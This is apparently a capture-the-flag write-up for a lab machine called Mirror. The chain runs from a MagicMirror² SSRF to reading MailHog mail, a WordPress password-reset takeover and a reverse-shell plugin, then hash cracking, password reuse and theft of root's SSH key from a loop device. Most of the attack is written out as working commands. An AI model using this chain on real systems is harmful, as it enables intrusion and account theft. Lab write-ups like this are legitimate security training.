↩︎ Back to home

Hacking Club - Mirror

Mirror has MagicMirror² and Wordpress instances running. The MagicMirror² version present in this machine is vulnerable to an unauthorized SSRF, which allowed me to find a MailHog instance running internally. Using the MailHog API I was able to read the inbox where Wordpress will send the recovery password email for the admin account, if we request it. Compromising the Wordpress admin gives an easy foothold via plugin upload. I was able to move to another user by cracking a password hash from the WordPress database, from there I got root by reading a disk image that contained the root private key.

Enum

Initial Scan

Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 21:52 +0000
Nmap scan report for 172.16.14.189
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy

nmap found these 3 ports open, lets focus on the 80 and 8080 first.

Port 80 - Directory Bruteforce

Checking port 80 gives us the apache default page, lets use ffuf to check if there is something else.

Terminal window
vncsb@haxos$ ffuf -w /etc/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://172.16.6.227/FUZZ" -c -fc 500
:: Method : GET
:: URL : http://172.16.6.227/FUZZ
:: Wordlist : FUZZ: /etc/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
.htaccess [Status: 403, Size: 317, Words: 21, Lines: 10, Duration: 139ms]
.htpasswd [Status: 403, Size: 317, Words: 21, Lines: 10, Duration: 2845ms]
.hta [Status: 403, Size: 317, Words: 21, Lines: 10, Duration: 3857ms]
index.html [Status: 200, Size: 10672, Words: 3496, Lines: 364, Duration: 137ms]
server-status [Status: 403, Size: 317, Words: 21, Lines: 10, Duration: 131ms]
wordpress [Status: 301, Size: 356, Words: 21, Lines: 10, Duration: 131ms]
:: Progress: [4750/4750] :: Job [1/1] :: 303 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

Exploring the wordpress, seems like just a default installation with no content.

Port 8080

Accessing port 8080 we see an application with a clock, various modules and a black background. Exploring the source code we see that the application running is magicmirror, an open source smart mirror project, in the version 2.35.0. I checked the magicmirror Github repository for vulnerabilities and found the GHSA-ph6f-2cvq-79hq, an unauthenticated SSRF in the /cors endpoint. I used ffuf to do an internal port scan via the /cors endpoint.

Terminal window
vncsb@haxos$ seq 1 10000 | ffuf -w - -u "http://172.16.6.227:8080/cors?url=http://127.0.0.1:FUZZ" -c -fc 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.16.6.227:8080/cors?url=http://127.0.0.1:FUZZ
:: Wordlist : FUZZ: -
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
80 [Status: 200, Size: 10672, Words: 3496, Lines: 364, Duration: 138ms]
8025 [Status: 200, Size: 18436, Words: 4200, Lines: 456, Duration: 138ms]
8080 [Status: 200, Size: 3171, Words: 383, Lines: 63, Duration: 135ms]
:: Progress: [10000/10000] :: Job [1/1] :: 297 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

What caught my attention was port 8025, a curl request revealed that this was a mailhog Web UI, all the style and javascript functionality were broken because of the SSRF, luckily mailhog supplies a HTTP API that we can use to read messages.

Terminal window
vncsb@haxos$ curl 'http://172.16.6.227:8080/cors?url=http://127.0.0.1:8025/api/v1/messages'
[
{
[...snip...]
"Content": {
"Headers": {
[..snip...]
"Subject": [
"Your Weekly WP Mail SMTP Summary for 172.16.6.227"
],
"To": [
"admin@recovery.hc"
],
"X-Mailer": [
"WPMailSMTP/Mailer/smtp 4.8.0"
]
},
"Body": "[..snip..]",
"Size": 24802,
"MIME": null
},
"Created": "2026-09-08T17:22:41.691935445Z",
"MIME": null,
"Raw": {
"From": "admin@recovery.hc",
"To": [
"admin@recovery.hc"
],
"Data": "[..snip..],
"Helo": "172.16.6.227"
}
}
]

RCE as www-data

We can see from the subject in the message from mailhog API, that wordpress can send emails to this inbox. I can use this to request a password recovery in wordpress for the admin account, get the recovery link from the email and compromise the admin account changing its password. Lets request the password recovery and check the mailhog messages again. I used jq to filter and select fields from the json response.

Terminal window
vncsb@haxos$ curl 'http://172.16.6.227:8080/cors?url=http://127.0.0.1:8025/api/v1/messages' | jq '.[] | {from: .Content.Headers.From, to: .Content.Headers.To, subject: .Content.Headers.Subject}'
{
"from": [
"Wordpress <admin@recovery.hc>"
],
"to": [
"admin@mirror.hc"
],
"subject": [
"[Wordpress] Password Reset"
]
}
{
"from": [
"Wordpress <admin@recovery.hc>"
],
"to": [
"admin@recovery.hc"
],
"subject": [
"Your Weekly WP Mail SMTP Summary for 172.16.6.227"
]
}

Getting message content:

Terminal window
vncsb@haxos$ curl 'http://172.16.6.227:8080/cors?url=http://127.0.0.1:8025/api/v1/messages' | jq '.[0].Content.Body | fromjson'
Site Name: Wordpress
Username: admin
If this was a mistake, ignore this email and nothing will happen.
To reset your password, visit the following address:
http://172.16.6.227/wordpress/wp-login.php?login=admin&key=uzNTISJBwuR1eWm8N3X9&action=rp&wp_lang=en_US
This password reset request originated from the IP address 10.0.66.176.

With the link we can reset the password from the admin account and compromise Wordpress.

To get a reverse shell I opted to upload the plugin from this repo, that offers a reverse shell feature where you just input your IP Address and listener port to get a connection.

There are much simpler or stealthier ways of doing what this plugin does, I was just being lazy and wanting to try something different, instead of injecting php code in a template or using msfconsole.

Privesc

Shell as magnus

I landed as the www-data and began to do some basic enumeration of the system.

Terminal window
www-data@ip-172-16-3-39:~/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
magnus:x:1001:1001:,,,:/home/magnus:/bin/bash

The magnus user indicated that I may have to move laterally to it first before reaching root. Exploring the wordpress files, it is always good to check config files for credentials, in this case the file config.php contains the credentials that wordpress uses to connect to the mysql database.

/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wpuser' );
/** Database password */
define( 'DB_PASSWORD', 'ajfh33333' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

I used the mysql CLI to connect to and explore the database. In the wp_users I extracted hashes from the admin and magnus accounts.

mysql> select user_login, user_pass from wp_users;
+------------+-----------------------------------------------------------------+
| user_login | user_pass |
+------------+-----------------------------------------------------------------+
| admin | $wp$2y$12$j7h8F9hCjQJB8Hp3TahXFey7hSTy4OTALpi8tg3irXdIHUe.gre5q |
| magnus | $wp$2y$12$SrsIIMr2JEJtzxCa369jpecQh7uMsIjXdDbkeSM9rNZsTPdb1bEL2 |
+------------+-----------------------------------------------------------------+

This hash is a bcrypt version that began being used in WordPress 6.8, the main results when searching for the correct way to crack these using hashcat shows that custom code is needed. In this search I read somewhere that you could delete the starting $wp and it would work with the standard bcrypt hashcat mode 3200, so I gave it a try with the rockyou.txt wordlist and it worked!

Terminal window
vncsb@haxos$ hashcat -a 0 -m 3200 hashes ~/Downloads/rockyou.txt
$2y$12$SrsIIMr2JEJtzxCa369jpecQh7uMsIjXdDbkeSM9rNZsTPdb1bEL2:michelle

On a quick note, I don’t know if this was some coincidence but I believe that just dropping the $wp will NOT work in all cases. Upon reviewing the hashcat forum thread to write this, there is this merged PR that adds mode 35500 that will crack this type of hash. I believe this is the reliable way to go about this, to use it right now (September 2026) you would have to build hashcat from source as the last release was made about a month before this was merged.

My first thought was to check if magnus reused his wordpress password on system, and he did!

Terminal window
www-data@ip-172-16-3-39:/tmp$ su magnus
magnus@ip-172-16-3-39:/tmp$

Shell as root

Just checking for the groups that magnus belongs to already caught my attention, there is this unusual group called usbaccess.

Terminal window
magnus@ip-172-16-3-39:/tmp$ id
uid=1001(magnus) gid=1001(magnus) groups=1001(magnus),100(users),1002(usbaccess)

Thinking that this was something disk or device related, I used lsblk to list devices and partitions.

Terminal window
magnus@ip-172-16-3-39:/tmp$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 74M 1 loop /snap/core22/2411
loop1 7:1 0 28.2M 1 loop /snap/amazon-ssm-agent/13009
loop2 7:2 0 48.4M 1 loop /snap/snapd/26382
loop3 7:3 0 200M 0 loop
nvme0n1 259:0 0 20G 0 disk
├─nvme0n1p1 259:1 0 18.9G 0 part /
├─nvme0n1p13 259:2 0 1023M 0 part /boot
├─nvme0n1p14 259:3 0 4M 0 part
└─nvme0n1p15 259:4 0 106M 0 part /boot/efi

The loop3 device without a mount point seemed strange, used ls to check its permissions.

Terminal window
magnus@ip-172-16-3-39:/tmp$ ls -al /dev/loop3
brw-rw---- 1 root usbaccess 7, 3 Sep 8 22:21 /dev/loop3

And turns out that the usbaccess group own the loop3 device, giving magnus read and write permissions over it. I had no idea what a loop device meant, for what I researched it is a virtual block device, like a disk, that is mainly used emulating files or directories as a disk, also used to mount ISO or other type of disk images. In this research I came across the losetup

Terminal window
magnus@ip-172-16-3-39:/tmp$ losetup
NAME SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE DIO LOG-SEC
/dev/loop1 0 0 1 1 /var/lib/snapd/snaps/amazon-ssm-agent_13009.snap 0 512
/dev/loop2 0 0 1 1 /var/lib/snapd/snaps/snapd_26382.snap 0 512
/dev/loop0 0 0 1 1 /var/lib/snapd/snaps/core22_2411.snap 0 512
/dev/loop3 0 0 0 0 /opt/usbstick.img 0 512

loop3 maps to /opt/usbstick.img, that seems to be a image file (like a .iso file) of the contents of a USB stick. The challenge here was how to read the contents of usbstick.img, my first approach was trying to mount it, becaused based on lsblk it was not mounted anywhere. But any mounting operation that I tried failed by lack of permissions. What worked for me was using 7z to simply read the file and extract its contents, no need to mount it. Uploaded a 7z portable executable via scp using the private key found in /home/marcus/.ssh.

Terminal window
vncsb@haxos$ scp -i /tmp/id_rsa 7z2603-linux-x64.tar.xz magnus@172.16.3.39:/tmp/7z.tar.xz

Now I could list the usbstick.img contents.

Terminal window
magnus@ip-172-16-3-39:/tmp$ ./7zz l /dev/loop3
7-Zip (z) 26.03 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-09-03
64-bit locale=C.UTF-8 Threads:2 OPEN_MAX:4096, ASM
Scanning the drive for archives:
1 file, 0 bytes
Listing archive: /dev/loop3
--
Path = /dev/loop3
Type = FAT
Physical Size = 209715200
File System = FAT16
Cluster Size = 4096
Free Space = 209485824
Headers Size = 225280
Sector Size = 512
ID = 3732563835
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2026-05-22 18:18:14 ....A 2610 4096 id_rsa
------------------- ----- ------------ ------------ ------------------------
2026-05-22 18:18:14 2610 4096 1 files

And then extract the id_rsa file.

Terminal window
magnus@ip-172-16-3-39:/tmp$ ./7zz e /dev/loop3 id_rsa
7-Zip (z) 26.03 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-09-03
64-bit locale=C.UTF-8 Threads:2 OPEN_MAX:4096, ASM
Scanning the drive for archives:
1 file, 0 bytes
Extracting archive: /dev/loop3
--
Path = /dev/loop3
Type = FAT
Physical Size = 209715200
File System = FAT16
Cluster Size = 4096
Free Space = 209485824
Headers Size = 225280
Sector Size = 512
ID = 3732563835
Everything is Ok
Size: 2610
Compressed: 0

Inspecting the id_rsa file and it really looks like a private key, what is left to do is try to login as root via ssh using this private key. No need to exfiltrate the key and connect through my attacking machine, I just connected via ssh to localhost.

Terminal window
magnus@ip-172-16-3-39:/tmp$ chmod 600 id_rsa
magnus@ip-172-16-3-39:/tmp$ ssh -i id_rsa root@127.0.0.1

Rooted! :]